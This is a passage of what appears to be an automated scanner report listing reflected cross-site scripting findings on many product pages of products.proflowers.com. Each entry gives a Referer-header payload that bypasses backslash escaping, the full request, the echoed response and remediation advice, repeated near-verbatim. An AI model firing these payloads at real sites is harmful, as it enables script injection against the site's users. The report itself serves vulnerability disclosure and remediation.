Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Christmas-Growers-Choice-30003196 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=96581\"%3balert(1)//c93db7aaf3
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 84656\"%3balert(1)//68cbeb4ea98 was submitted in the Referer HTTP header. This input was echoed as 84656\\";alert(1)//68cbeb4ea98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Deluxe-Holiday-Treasures-40559 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=84656\"%3balert(1)//68cbeb4ea98
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 754bd\"%3balert(1)//8cefc208bdf was submitted in the Referer HTTP header. This input was echoed as 754bd\\";alert(1)//8cefc208bdf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Deluxe-Santas-Sleigh-30044909 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=754bd\"%3balert(1)//8cefc208bdf
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36055\"%3balert(1)//f6660f14f3c was submitted in the Referer HTTP header. This input was echoed as 36055\\";alert(1)//f6660f14f3c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Holiday-Favorites-30034411 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=36055\"%3balert(1)//f6660f14f3c
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bce1b\"%3balert(1)//1a450b9cf5a was submitted in the Referer HTTP header. This input was echoed as bce1b\\";alert(1)//1a450b9cf5a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Holiday-Hugs-and-Kisses-40502 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=bce1b\"%3balert(1)//1a450b9cf5a
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a42ec\"%3balert(1)//ac7c7304e9c was submitted in the Referer HTTP header. This input was echoed as a42ec\\";alert(1)//ac7c7304e9c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Holiday-Tradition-with-Elegant-Ruby-Vase-30004379 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=a42ec\"%3balert(1)//ac7c7304e9c
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de17e\"%3balert(1)//5414c7fdcb2 was submitted in the Referer HTTP header. This input was echoed as de17e\\";alert(1)//5414c7fdcb2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Hugs--Kisses-30000122 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=de17e\"%3balert(1)//5414c7fdcb2
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d94c4\"%3balert(1)//0be9dbb8050 was submitted in the Referer HTTP header. This input was echoed as d94c4\\";alert(1)//0be9dbb8050 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Joyful-Bouquet-41754 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=d94c4\"%3balert(1)//0be9dbb8050
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6f2b\"%3balert(1)//73fb417ae80 was submitted in the Referer HTTP header. This input was echoed as f6f2b\\";alert(1)//73fb417ae80 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Roses-in-the-Snow-wElegant-Ruby-Vase-30001058 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=f6f2b\"%3balert(1)//73fb417ae80
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d367\"%3balert(1)//e621e22a007 was submitted in the Referer HTTP header. This input was echoed as 1d367\\";alert(1)//e621e22a007 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Santas-Boots-30045234 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=1d367\"%3balert(1)//e621e22a007
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8fa23\"%3balert(1)//46f73acf067 was submitted in the Referer HTTP header. This input was echoed as 8fa23\\";alert(1)//46f73acf067 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Santas-Sleigh-Centerpiece-42064 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=8fa23\"%3balert(1)//46f73acf067
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33d1e\"%3balert(1)//ffb3ad6d15b was submitted in the Referer HTTP header. This input was echoed as 33d1e\\";alert(1)//ffb3ad6d15b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Santas-Workshop-30045400 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=33d1e\"%3balert(1)//ffb3ad6d15b
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 25dea\"%3balert(1)//1949b499df6 was submitted in the Referer HTTP header. This input was echoed as 25dea\\";alert(1)//1949b499df6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Seasons-Greetings-Gift-Basket-30043845 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=25dea\"%3balert(1)//1949b499df6
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 683a9\"%3balert(1)//51fd46afcad was submitted in the Referer HTTP header. This input was echoed as 683a9\\";alert(1)//51fd46afcad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Shower-of-Flowers-30004467 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=683a9\"%3balert(1)//51fd46afcad
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28b12\"%3balert(1)//1bc504b2644 was submitted in the Referer HTTP header. This input was echoed as 28b12\\";alert(1)//1bc504b2644 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Sunflower-Radiance-517 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=28b12\"%3balert(1)//1bc504b2644
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6b964\"%3balert(1)//8deaa1e8cf1 was submitted in the Referer HTTP header. This input was echoed as 6b964\\";alert(1)//8deaa1e8cf1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Two-Dozen-Assorted-Long-Stemmed-Roses-wFree-Chocolate-Covered-Oreos-30045998 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=6b964\"%3balert(1)//8deaa1e8cf1
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a28cd\"%3balert(1)//70ca0164621 was submitted in the Referer HTTP header. This input was echoed as a28cd\\";alert(1)//70ca0164621 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Winter-Spectacular-7726 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=a28cd\"%3balert(1)//70ca0164621
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1c502\"%3balert(1)//14d6d713d0a was submitted in the Referer HTTP header. This input was echoed as 1c502\\";alert(1)//14d6d713d0a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /giftbaskets/Holiday-Treasures-Gift-Basket-30043788 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=1c502\"%3balert(1)//14d6d713d0a
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35294\"%3balert(1)//98490834e48 was submitted in the Referer HTTP header. This input was echoed as 35294\\";alert(1)//98490834e48 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /iris/20-Blue-Iris-41587 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=35294\"%3balert(1)//98490834e48
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9762\"%3balert(1)//a99908c5e2b was submitted in the Referer HTTP header. This input was echoed as f9762\\";alert(1)//a99908c5e2b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /iris/Assorted-Iris-41275 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=f9762\"%3balert(1)//a99908c5e2b
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a42bd\"%3balert(1)//8b2c2e816a1 was submitted in the Referer HTTP header. This input was echoed as a42bd\\";alert(1)//8b2c2e816a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
